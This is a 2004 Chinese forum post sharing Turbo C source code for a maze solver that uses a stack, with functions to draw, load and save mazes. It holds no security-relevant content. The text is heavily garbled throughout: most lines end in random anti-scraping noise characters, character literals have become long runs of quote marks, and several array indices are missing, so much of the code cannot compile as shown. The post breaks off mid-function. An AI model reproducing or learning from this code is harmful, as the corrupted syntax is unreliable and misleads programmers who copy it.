QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7651|回复: 11
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
, i$ R: I  S% k< align=left>程序目的:$ ^* a2 m( z+ Z! x: [+ G  n
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
* V* R2 O4 W+ X/ B. J# @显示在屏幕上。
/ c  H  m/ [9 Q' C5 y6 Q$ E# j程序实现:
  A1 L3 G$ F* S' G* e( _+ y0 ]5 X可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的9 b# z. N. z4 ^, z8 S3 U
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
+ V* y; a# h: A9 b' @3 [$ R( ~入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫* r* |+ g1 @& B5 N" @& Q
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
- D8 ?2 M0 N7 _3 b6 ]( ?8 g否则会出现错误信息。输入开始时全是墙,用上下左右键移动,. C/ \% y- U/ I( t: m# ^3 J
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
' V, z; w3 r; U将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
0 u9 i1 H: j  \( C  T. z  j, ^8 g找到路径时,屏幕下方会出现Path found,否则出现Path not found。
) _- ~) h' f! S' [5 o0 @: Y程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
, i2 R: C0 L( _& m. q不可以在VC上编译。* `3 g. J0 i9 p; l8 v4 @
下载DOS版和windows版的迷宫游戏全部代码
+ [1 ^5 E: `4 ~" P; P5 `用户名:migong 9 _9 m8 {  b; M
----------------------------------------------------------------------------------* }8 |3 R+ e( ?
/*
5 s+ _. W3 w$ C; DMazePath Demo BY Turbo C 2.0
3 W" V1 Z# p4 w& ^Copyright(c) RoverUnion. All right reserved.- @, j# s, N7 o7 U9 T/ @$ C' ]0 W/ T0 y
Filename: Maze.c
* n- b5 q4 h0 S; g+ gAuthor Dongchengyu.
, @3 c$ S. Q& A! @9 gVer 1.108 K% E" J+ s$ H! U. h& J
*/% T& Q# ?0 |) k, I- V, x
#include &lt;stdio.h&gt;! H! X' H9 V% w
#include &lt;stdlib.h&gt;% I& M$ N! f: z0 V- [" D2 R$ j
#include &lt;malloc.h&gt;& o4 ?* _/ O7 T4 u8 H+ d1 J
#include &lt;conio.h&gt;
+ ^' G! r4 i. p6 C$ ]* g" ~#include &lt;dos.h&gt;
$ V6 g1 N) D+ o2 v8 K; x#define OK 1
' \! x/ z0 r4 t5 G#define ERROR 0
9 `( ^% m! q( L' Z" \5 D#define TRUE 19 x9 r+ S* D3 o
#define FALSE 0
2 T, n( X( q) _#define F9 0x432 ?' R2 f; @6 i- o
#define Esc 0x1b- Y* @* R5 {# H" ?  P" Q" I  T& W# A  q
#define Del 0x53( L* \; \' y3 ~% o2 Z1 L3 z
#define Home 0x47: T& m* |& X6 U6 n; Z
#define End 0x4f& E# z5 h9 h$ p' T) R( c
#define Space 0x20" j. A, |  i* t' G
#define Up 0x48
' G7 L+ p* O0 P9 K8 F3 p& S#define Down 0x505 y) C1 p3 q* t+ v* k
#define Left 0x4b9 y, G9 H' y3 R0 _; {
#define Right 0x4d
$ d! S+ L* t4 R% C: @- f#define Enter 0x0d* n7 o! l, \2 S& u* |7 B1 m
#define F2 0x3c  V" Z2 ~4 L6 G6 e9 h
#define F3 0x3d
2 o  G& O2 M  p$ K8 v2 [2 U#define STACK_INIT_SIZE 200
  \% C" t0 ^( o. d- V& o! y#define STACKINCREMENT 10& G6 ?4 b- V# C! d' P/ i5 A/ n- x
typedef int Boolean;& O/ R1 l$ d# d( @' J8 Q0 \1 r$ q: [
typedef int Status;
) n2 I) L" p1 ?4 p. n* x" htypedef struct {
, Z8 i) B8 {7 u! j+ E) x2 c7 ?8 aint x;1 S# l7 v2 H, t' F( V5 S# b
int y;
4 N! t1 d4 s  L. [} PosType;
/ P: M! s8 G, [: etypedef struct {$ I! G- k: V5 q- O' D) o
int ord;
6 O  g8 D# f/ H  x% ]9 o" tPosType seat;
( H9 ?( U/ G- H% i# Z9 ~. T) Sint di;; Y" h- E& h  b2 O( ~& X  y
} SElemType;
7 i9 ?; N7 L; x  ^2 o. ]typedef struct {
0 S5 z+ }" o) f' mint td;
1 m7 P' {4 ], [1 ^" _7 Iint foot;) d$ d: T2 N) f; R1 s
int mark;6 x0 k' d  k) L
} MazeType;
$ |/ |" u8 c' G" D! ftypedef struct {6 @; P0 z8 M  @: s/ s! W+ z
SElemType *base;; y) e8 [' G8 e9 K
SElemType *top;
0 C$ W9 I+ k* S0 A9 r+ ?int stacksize;6 R, D7 \! }$ [1 ^4 D; D: L& H
} Stack;- r# I7 A% T: e
int Maze[20][30];5 U$ H/ ]+ c( p
MazeType maze[20][30];# T* N9 N' U! L6 P% z5 E2 i3 c
PosType StartPlace;" S& y$ e- A9 D! H1 `
PosType EndPlace;
: ?# ^) g* P, Vint count;* }8 F: l) d. O
int m,n;* D2 T4 [  t% g
Boolean b_start=FALSE,b_end=FALSE;
  u- U/ N7 T: C' m8 Q3 l$ zvoid CreatMaze(void);
; Q! t/ p7 r3 H4 C7 a/ J0 vStatus SaveMaze(char *filename);7 _7 y" S+ K. j* z
Status LoadMaze(char *filename);
, Q/ K/ c- P+ m  \; s9 Fvoid Error(char *message);
3 i, M: R; L" r( h7 N* h! ]4 RStatus InitStack(Stack *s);
7 Q  g! l# m2 \Status DestroyStack(Stack *s);/ A9 X/ W* _# c: m. S- k
Status ClearStack(Stack *s);
8 J) D$ B2 W: U7 n; WBoolean StackEmpty(Stack *s);' {+ e  ~& l1 g; t" V* [% F/ _
int StackLength(Stack *s);4 a9 G4 z. \8 N0 C: ?
Status Push(Stack *s,SElemType e);' C# M, j* _$ a. B6 K& I
SElemType Pop(Stack *s,SElemType e);
; X5 T! F- m) Q/ ^1 D: q+ pStatus GetTop(Stack *s,SElemType *e);9 u; a* k; w3 ~* L2 F; {
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
, E7 N8 e5 V$ x2 w2 a, eBoolean Pass(PosType curpos);
8 Z/ e( y5 e" a  Y% h+ a4 hvoid MarkPrint(PosType seat);
4 e# D  U" M6 U8 x/ W) t+ Cvoid FootPrint(PosType curpos);
0 O8 N. p% _8 M; ~/ q3 GPosType NextPos(PosType seat,int di);
0 W9 y$ ~) l" E6 j- @Status MazePath(PosType start,PosType end);
/ O# R8 D' ?* G! w0 r  q8 Y2 \void CreatMaze(void)) q  S6 j4 ^: C5 l1 {
/* Form the maze. */1 U8 b% M. _& C$ }& I6 g0 u( j( n
{3 H7 u+ f# H8 F3 w  D" `. J
void Error(char *message);
! V, u$ {7 c6 o( u( O* [% F: YStatus SaveMaze(char *filename);
8 A; l, S. u4 K& `5 l: m& jStatus LoadMaze(char *filename);" Z& w0 E8 j; X" n9 i: T& z7 W
int i,j;9 j" l/ _* y0 z$ A" `; G2 J
int x,y;
3 n, k% X7 i$ X8 v; _char c;- @) u& i+ ]9 s. C; x5 L5 o/ H
char savename[12],loadname[12];
( H+ e/ f6 [# R7 [& tBoolean flag=FALSE,load=FALSE;2 P! z. h0 ~$ T% L6 N& Z$ L3 x
clrscr();! T# ~) b- L$ k# n: F
printf("Menu:\n\n");
3 m. O7 E5 g2 ^2 H, k5 {% T% bprintf("1.Load Mazefile*.dd)\n\n");
- g0 ~$ e0 ]" G( t9 l, ]5 R* dprintf("2.Input Maze:\n\n");& T. {. I2 C: h8 T3 C
printf("Input your choice: ");- s' J3 v4 M. R
do
) {8 H' k  C' |( L8 ^; X8 b{/ x) M$ N  p" ]3 A
c=getch();; F# `. W, a3 _2 e
switch(c)
! i9 z1 {2 h0 ]* E3 c; k) Y{* A0 j4 J0 }# _
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
. e, }; r% N0 U6 @0 f( Jcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;+ s1 R& y7 _, B4 ?4 P, V0 V
case Esc: sleep(1); exit(1);
  a) s) ^5 E/ {+ k7 P# p$ o* l8 @3 Ydefault: break;
4 C$ P% A) }) g6 v" i}! D4 h; B: @5 K9 V3 b
}; x# G6 |' W9 U: E0 h
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
! m( g8 ?! W+ J# P" ~if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')4 ^3 k0 f: m5 J- e  F! p! A
{! C3 y+ F5 x+ ]  t& P4 X& d8 K
printf("\n\nLoadName: ");
! _9 l) q  {7 }0 Jscanf("%s",loadname);0 s& k  m' k% a- v; k3 a
if(LoadMaze(loadname))  l0 d. n/ `$ z# W. z* ^# Y. A# V
{
, h. q; E4 v4 B" M2 y/ Dsleep(1); load=TRUE;
; }, j) ?" l1 S; [7 C}+ Z( A5 \) M- R2 |0 n
else { gotoxy(1,9); printf("Load fail! "); }
! W, a9 j, P% V  d; b}' k0 t7 d6 G2 S" s" U
if(!load)3 Z/ ^3 ]$ z! ?* r  q
{
9 C. F4 K3 T7 @0 @printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
+ z8 o0 l( l3 j9 e8 {2 r3 Lprintf("\nInput Length :\n");3 s3 M+ s9 c) a2 J4 f; `! q# H4 H
scanf("%d",&amp;m);
$ n% Z$ A! _$ o9 G0 vprintf("\nInput Width :\n");' `$ k; X7 a" A/ l: @2 n" ~
scanf("%d",&amp;n);
8 L( c, y* h8 Z6 L) h2 _6 Eif(m&lt;4||n&lt;4) Error("Input");+ ]1 U  [2 E) M# o
if(m&gt;30||n&gt;20) Error("Maze too large");
8 \7 v) E0 M" p1 H  G/ s' ~for(i=0;i&lt;30;i++)! P5 `) [- u" I. v' n# f& a+ F
for(j=0;j&lt;20;j++)
2 ]( e* a8 s* M3 J6 `( wMaze[j]=2;8 I# W4 D8 _" R
StartPlace.x=0;
6 G7 H/ h( a( D0 t% f8 l$ i7 ZStartPlace.y=0;" @% O4 |4 k4 W
EndPlace.x=0;
) c  G! n5 |6 S& F7 xEndPlace.y=0;
' U* @! T. Z, Y" S1 bclrscr();6 m# Y, z+ c% l; J
printf("\n");
- j/ i4 G! w/ E# xfor(i=1;i&lt;=n;i++)8 N( A! y! H0 {8 i7 b: o
{
' I3 z" F0 K: Ffor(j=1;j&lt;=m;j++)
- p& U# J' ~" ^5 b+ U' C{
# L; C  K3 {3 a$ m2 @- n( ?/ o* Aprintf(" #");
! U- o$ L; n9 qMaze[i-1][j-1]=0;& Q) }- M: B. C( r
}% {1 E1 j" [* \  r9 ^5 \
printf("\n");
4 d0 s& c' u0 G9 o' ]2 a' c% g}& y6 d: ~8 `3 U5 l, j+ W
}
5 t' b& d/ E. r% t( r& ygotoxy(65,5);& H' R3 o+ N7 M0 e2 U. X  X0 ~
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");$ \& ^' l  `# A0 U# k8 z
gotoxy(65,7);
' S) D$ @/ ~0 F/ A/ dprintf("Start:Home");
4 j( |0 J7 x) ]& o) A1 |" zgotoxy(65,9);9 j' |( \! t- J. T6 y) H
printf("End:End");7 E+ u4 H' r" A
gotoxy(65,11);2 q1 Z: h( r% E7 ~1 f
printf("Delete Wallel");
' o5 }6 X4 C- K% f5 `. _; Kgotoxy(65,13);
- x. G+ V0 ^) r- wprintf("Enter Wall:Enter");
& D: l8 A2 J& d/ D$ S- y7 ogotoxy(65,15);! P6 y: C- z) w7 J, t7 H3 g' c
printf("Save Maze:F2");
" M+ C3 H, K0 kgotoxy(65,17);- P* o7 f9 U- V
printf("Complete:F9");6 q$ N+ u' z5 ]8 J" y) e
gotoxy(65,19);
9 D; A4 f; R& i0 _$ W5 Aprintf("Exit:Esc");) [- S5 T8 ^- W& R
gotoxy(4,3);" v5 o7 a! E6 c% ?1 z! _
x=4;y=3;
/ ]6 N! W  G: [7 c9 B- tdo
9 T4 a+ L/ p! g3 R9 m1 V( k# g{
$ Y& {; z  Y7 F: O- C1 O, }* u- kc=getch();
% t6 w& _/ u; d1 M  ^switch(c)
$ g( ?3 x" U- o. Q6 [% G& L5 q. ~{5 }1 @% O7 y, F# l5 t5 L
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
( X% R3 ^; U$ ^& ?7 Qbreak;
7 s  y+ P. Y. ~- S( Dcase Down: if(y&lt;n) { y++; gotoxy(x,y); }& P* r4 J" d$ X
break;
, L9 l" @! z; J. t  @5 ]' O/ e2 {  Wcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
  P% G0 }! `/ {break;9 F4 z( o8 P% `# B+ Z$ k
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
8 N0 l7 |9 u% j/ y; z  [) qbreak;- ~6 I" U# d! P
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;/ g4 |8 U: i* M' l+ t
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
9 o9 m4 c/ n+ m) b3 T, s' p- Fputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);/ v: f3 t6 h  d
break;% _& Q$ M) l+ Z. W# t- F9 p
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;: d7 }7 x6 q+ B6 S- s
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;5 g6 W. b' w/ e
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
3 w' Q1 S3 a$ p! Ibreak;
9 t" Y# s. x5 R' G+ \0 ocase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)( n+ L( ^( B) l
{
5 w6 B! t* J# B2 D" b/ tStartPlace.x=x/2-1;
: ^5 Y' _7 S3 f% t- @2 WStartPlace.y=y-2;
+ ~4 n( X" L" }; v& Vputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');( C, V( o4 Y. U+ S+ j' N. P  N
gotoxy(x,y);
4 R$ j. B/ M8 R9 R6 Ib_start=TRUE;
" {0 l- M+ i4 w9 _}5 |+ ?8 [9 E4 ^. F7 c
break;5 \* p% k3 {9 O; p) h" `' G: j; ^
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)% U$ W$ `; {% D: O: x+ d8 }
{
( ^' I$ \1 [! J) g# T6 e7 f8 s* ~' ]EndPlace.x=x/2-1;
/ c7 f; [6 @, F$ j% y5 LEndPlace.y=y-2;
6 B3 \/ g; C8 ?) R$ o) Wputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
8 e+ G9 X1 @- y( ?) k, p' o2 C3 x( ogotoxy(x,y);
' W2 q8 f' J) U# ?' m- ^b_end=TRUE;
1 \2 T- l' K7 q5 a7 e2 ~; O6 K5 M}
! y) J  a2 e7 k( X. I7 Y1 xbreak;
/ g; f7 y" }  H+ U9 Z5 hcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
& H( F; o( O- u3 y/ I0 V$ ]case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;9 H2 v" F! G4 V( y( M$ ]
case F2: gotoxy(2,22);
# P* E8 ~5 ]* g. r$ j$ `+ z0 U0 Kprintf("Savename:");- U  y( O2 w4 s" Y$ C; ?
scanf("%s",savename);
# |4 F5 S/ _2 h& xgotoxy(2,22);8 q3 \) i, u( d4 r- `! p6 R  W
if(SaveMaze(savename)) printf("Save OK! ");* _. J! z- m  a& e( ]6 b0 |
else printf("Save fail! ");+ S! U+ f( [! u6 v( G( V, O1 ~
sleep(1);
2 e$ z8 S5 L* sgotoxy(2,22);& h$ F: ?+ p; V  `' H
printf(" ");
) W1 {+ x6 c" I6 V5 B, y, Rgotoxy(x,y);1 }! k- P3 X8 [7 s* D. O7 D
break;
7 F) |) M( b( m; z' {; a2 \8 rdefault: break;
. E9 O. |) P+ L1 H1 I& }}
+ D) D3 C# K* m/ W! U}% Y, f3 Y# N) S, ?
while(!flag);
. w/ W  O' e/ o" |" Ufor(i=0;i&lt;30;i++)
( u: ~. v2 p6 T5 Z: P3 I8 ]$ |for(j=0;j&lt;20;j++)
4 z7 W9 F; D0 ~{1 |# `$ ~  Y* x; L& M5 X0 v
maze[j].td=Maze[j];4 A/ i0 s7 n2 y1 m* w+ h
maze[j].mark=0;
& Y+ a$ ?9 u$ g7 s, M) [9 ~maze[j].foot=0;: g7 K9 Y/ Y4 N& T5 D0 g8 n
}$ \  X: i  ~' c0 d; w
}) j' P& P4 t( P$ W- ^* X9 r
Status LoadMaze(char *file)
) P7 n" f3 Z- d/* The maze has been loaded. */
  Y# K1 X+ v8 L* V6 a{
# w! D: @" n) C) bFILE *fp;7 ^2 X. R& f. I1 V7 p
char *buffer;" D- x4 G/ P7 @! M( b# \: d
char ch;, C, }% U9 f  x* K$ U
int i=0,j,k;! F/ B- y6 a) c" ]
Boolean len=FALSE,wid=FALSE;
' K& }3 L! x' [if((fp=fopen(file,"r"))==NULL), r. o% i4 h, e9 }/ F9 R& y5 V5 [
return ERROR;
2 |2 e) a$ E0 Z7 o; g/ lbuffer=(char *)malloc(600*sizeof(char));) d1 M* @' e& Y  ~# `# ?7 F( R
ch=fgetc(fp);
( N4 M7 B4 |5 b& Vwhile(ch!=EOF)
6 B3 L; s2 @6 q. q{! R0 V8 ]9 U1 |) R+ }
buffer=ch;2 X; ]! J8 `9 S/ P' b0 |' ^
i++;+ A/ G' p* q; t. O; Y: C1 ^, c
ch=fgetc(fp);
1 Y, K% N/ C6 y}3 s* ^) i# V3 _$ I+ S6 ~9 ^8 x
m=30;n=20;6 K" v) L2 e% O6 `3 @
for(i=0;i&lt;600;i++)" w0 V5 U3 I- f' r# q5 g
{6 O- }3 O' [9 ]7 l
j=i/30; k=i%30;9 D, K% }* W. q
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }4 h$ d, {. O; a0 M
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
' L/ k3 K8 d3 p$ `" xswitch(buffer)
0 t0 a- a  T. U" n( Y" d6 T9 k{
/ ?% l; t6 E& D4 h* {8 o5 `- vcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
2 f2 F9 A' G$ V. \case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;6 j  j7 I# m* ^0 R
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
0 T9 X2 }' z6 Q: t% S/ k$ ocase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;+ W! v% q' w: o. o
StartPlace.x=k;
% a0 ~1 f$ s; W" e& bStartPlace.y=j;: h" t, [! A0 ^% v
b_start=TRUE;
9 b3 F& _8 i, J' Z7 N( @' ~break;2 x5 H0 P$ G( j9 y: D
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
7 f& j7 d8 Z, _7 `+ ]- Q5 mEndPlace.x=k;1 P% Z6 b0 |' y
EndPlace.y=j;
1 V* s6 V9 c8 W& i+ L* ^8 E9 n0 G" mb_end=TRUE;
# R$ n! \* i9 u* C8 vbreak;3 H7 R* ^: d. X" o8 Y: P
default : break;! L% Z9 h! @& @  k; o
}
) \) W/ r6 X. f& z" ~) z6 p}6 y, Y4 V' n1 U; ]0 q& J* p. [( s; |
fclose(fp);- X) T, I- R" P9 e. K* E4 R
clrscr();9 q& i4 S$ {3 I3 y# W) S: X
for(i=0;i&lt;30;i++)
! m2 s2 C4 u6 H) J" Tfor(j=0;j&lt;20;j++)
; c7 b& }8 S& S- n{
! K9 C. Z: G. l" smaze[j].td=Maze[j];1 o. L1 J. E/ G# g
maze[j].foot=0;
. H; O7 i9 h  l2 |0 i& zmaze[j].mark=0;& z' v' ~1 B6 ?$ K: L1 }: R
if(Maze[j]==0)5 X3 [: M$ d, K2 \: K' L
{- p( I/ c4 }) l. r/ R
gotoxy(2*i+2,j+2);) M: B0 H0 h; q5 D5 }
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
+ I0 B: Y7 y8 h# d, x* _}
' R4 K! F* [$ v8 N! X8 J}: o2 H  l# |. Q4 c
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
" Z( N) ?, ~, I% a& Q" p; X  Sputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
% m1 r  P6 |0 u* Q4 ~* Qgotoxy(2*EndPlace.x+2,EndPlace.y+2);
& }! ~, R. h6 h+ [; uputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');# W/ l% W/ w( J% S7 I' ]
return OK;
! P# [: x# c3 d& K# {}) D% k, U8 U7 m5 m+ E; K
Status SaveMaze(char *filename)1 y2 d. i; A; w, G7 w8 o
/* The maze has been saved. */
6 {- O8 E& i0 L8 A% X2 h{4 f3 o6 ]  w# f/ ?' d  D) k
FILE *fp;
1 V" R. Y+ k4 Mchar *buffer;
% c1 ~4 s# ], {& H1 e0 ~9 F2 u6 Wint i,j,k;- n" F/ H, L1 B9 k! ~+ t
fp=fopen(filename,"wb");
- l; y9 J1 f" obuffer=(char *)malloc(600*sizeof(char));" n. W: I5 [  @# m  n* p8 ~- T
for(i=0;i&lt;600;i++)
; {1 e3 J4 j; n' r% h+ f{
! |% f, w0 F: v# r/ x4 I, mj=i/30; k=i%30;
1 F. b* _0 |- pswitch(Maze[j][k])
" U( C+ T8 I$ b: \1 O2 E{
# H" J* D  {: Q. j* l" T# Rcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;: h  k8 r9 `' p4 d/ Q6 p
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
1 g) A- M  ?$ X$ @8 Rcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;( ~. ~# z. b- E& X9 o3 k9 r
default : Error("Write"); break;
& f1 Y3 e- b" q( W6 C1 Y# Z}5 L( |# H; {4 \4 U
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
, O$ q! _0 T- B+ r) T9 Rif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
1 q- ?' [( a  s$ S2 o  g- U; M  a/ Z5 S}
5 z3 O+ m. m. C8 vfwrite(buffer,600,1,fp);
, v$ U. q3 {2 O( Kfree(buffer);3 O* h7 l/ b- P5 }) a" g9 u' M6 [7 G
fclose(fp);
2 `6 a: L! O$ [1 R! ?return OK;  t, b0 R' V) L, q1 p- @
}
5 K. _+ d6 u% K5 q3 f" v$ cvoid Error(char *message)
8 ^+ e3 J& {/ B% y{
. J4 h* E, p4 H! \' P5 _clrscr();4 D; x1 p4 V; ]3 l0 Y
fprintf(stderr,"Error:%s\n",message);
1 Z% Q1 @0 V; j3 Eexit(1);
9 A! E  `2 _/ H! s( H2 j! V} /* Error */  z# `* Q, ?- [) [2 r' h

" o% @6 l( X# |8 nStatus InitStack(Stack *s)6 I& _2 F7 ~* Q  [+ l2 G2 k
/* The stack s has been created and is initialized to be empty. */7 O+ T, ~' A! Q* V1 G; }* v
{" v% a$ \$ c( B
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
& f. S) X9 r' |+ J1 Aif(!s-&gt;base) Error("Overflow");
, l9 f& g: n) U4 _; qs-&gt;top=s-&gt;base;* g* \' f' Z& p; b# s0 G2 k
s-&gt;stacksize=STACK_INIT_SIZE;
7 I% p0 h, p" \/ ereturn OK;
& X, z; O/ `/ z} /* InitStack */
# `6 ]* M- n( k( O* g6 EStatus DestroyStack(Stack *s)$ \) c2 P% Z0 k+ n  v. S; w6 r, z
/* The stack s has been destroyed. */
. }) @( d' i* u; G' T! b$ a: \- }{, h( e3 a% k; v" Q3 F
s-&gt;top=NULL;2 G9 m- U* J2 d
s-&gt;stacksize=0;
9 }/ w( b  c; D# efree(s-&gt;base);0 M6 Q6 d( I& g8 {4 {5 K' e
s-&gt;base=NULL;* o& B6 l; P, ~9 U# Y
return OK;" n1 z) b; l7 W4 U
} /* DestroyStack */
  Z6 u' [7 N4 z/ A7 n8 f0 \- S  YStatus ClearStack(Stack *s)+ U* U. c* p7 g: L+ c
/* The stack has been clear to be maximum. */
$ j: T1 s8 F% t( \* F0 w{" x; e* y$ F- x. [
s-&gt;top=s-&gt;base;6 k# ?# y. y# @& H" h/ a
s-&gt;stacksize=STACK_INIT_SIZE;
! S/ P+ \- L: @  V5 u/ sreturn OK;; c( q$ d$ a3 i7 l
} /* ClearStack */
% T" |/ A& T3 `Boolean StackEmpty(Stack *s)1 `( o& d. R4 C( H  d# ]  G- H5 L
/* Check if the stack s is empty. */
* F  [0 ^, M" F" z{1 d4 `* S0 l( v6 Y3 u
if(s-&gt;top==s-&gt;base) return TRUE;
" Z; L6 |& Z6 Melse return FALSE;
: W# g: i9 H2 v# q} /* StackEmpty */
. a' K6 |/ W# B: [) Bint StackLength(Stack *s)
9 n6 q8 l, r; `0 e3 L# {  e( G' |/* Gain the length of the stack s. */
" H- X- ?3 I! N{6 V0 J- _! h# c6 r9 _& a. m! ]
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
) j8 J6 Y9 w# N# G6 l; x3 F2 Y! |else return 0;9 q/ X  y$ f4 [, i
} /* StackLength */; g$ f0 \. w; s# w/ I% z
Status Push(Stack *s,SElemType e)
, s3 v. ^% w- Y& P1 u: E! J, j; V/* The element e has been pushed into the stack s. */
8 Q2 b8 |, m* j1 J) i; Y{+ e5 _1 s1 C0 ?, B2 D, N: V
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
6 c2 y- q: n' a# b{
6 E7 {9 H& o- Fs-&gt;base=(SElemType *)realloc(s-&gt;base,) }* M& x6 t) u4 r
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));% v* W, e) Q. y3 T
if(!s-&gt;base) Error("Overflow");
; z- N# q" V5 h3 ys-&gt;top=s-&gt;base+s-&gt;stacksize;9 r! R& |. |! o3 j8 _* A
s-&gt;stacksize+=STACKINCREMENT;9 A" f' W4 w6 v
}
5 N3 c  o, S) `0 d1 M) T" E# T*s-&gt;top++=e;
( H) Q7 U6 l- n4 {8 Dreturn OK;: }6 I. G7 l; C
} /* Push */4 l8 J% v1 V3 L/ @
SElemType Pop(Stack *s,SElemType e)1 [2 y. j# Q( v: `% w2 C9 O
/* The element e has been removed from the stack s. */" j3 |/ h6 o7 Z6 ?+ D
{. j0 f! K$ f0 M( n( I% ^) U
if(s-&gt;top==s-&gt;base) Error("op");+ P" w$ h* p/ _$ J( T
e=*--s-&gt;top;- {. x+ ?0 I2 T8 H: B) Y
return e;
$ _4 G+ b; y( K. X0 z} /* Pop */4 e: Z/ F6 \$ _+ i
Status GetTop(Stack *s,SElemType *e)! X# t+ j- l3 c6 S
/* The element e has got to the top of the stack s.*/, Q8 L! L& N- S3 j; }/ x5 m
{' U  ^# X* @0 z) d
if(s-&gt;top==s-&gt;base) Error("GetTop");
- G5 |% i- g: ^9 A*e=*(s-&gt;top-1);- A* y/ e9 y" I7 e% |" S" Q
return OK;
) q4 p& d# r1 c1 S3 j} /* GetTop */
' _9 n& G5 n2 W, U7 |- y: H% l/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
; ~; m) u; g! p  c8 n/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))- L' J$ [6 L3 y
{5 V! g8 c4 D9 U9 o. I# k% A0 ~, X
SElemType p;
; `3 g9 J* r) u2 V) [int result;
& z1 \: u7 N" W" L4 z# Gif(s-&gt;top==s-&gt;base) return ERROR;; J) j/ e6 a( |$ `
p=s-&gt;base;0 L( [% U$ Y% |
while(!(p==s-&gt;top))+ t# ]' K  f$ d& N* y
{% t0 h* }5 h! ?
result=(*visit)(p);: P1 f9 c0 e$ H
p++;
/ V: n0 @. I% h! ?# [3 ]$ ]}. J( |, p& w- Z4 @0 b# s" r
return OK;, S, `5 d) p" K9 p
} */
7 @6 C& z' L* U- \  p% ?Boolean Pass(PosType curpos)
/ d: q  ~6 l: V! j, u, Y4 l! |/* Check if the current position can be passed. */5 n1 _; o) T5 u9 V# G
{% P+ L5 P1 ~  A0 ~% {/ T) o9 Y
if(maze[curpos.x][curpos.y].td==1&amp;&amp;& }! g) B: X7 a3 i* `$ c
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
3 f, C- i, A- [$ @7 c. kreturn TRUE;
0 N4 E4 R3 E" nelse return FALSE;
. d, W0 |# g( z/ S! @} /* Pass */
6 i+ e7 [, d4 L5 o, wvoid MarkPrint(PosType seat)
+ J+ N, z' h1 i9 z8 C/* Mark the position seat. */
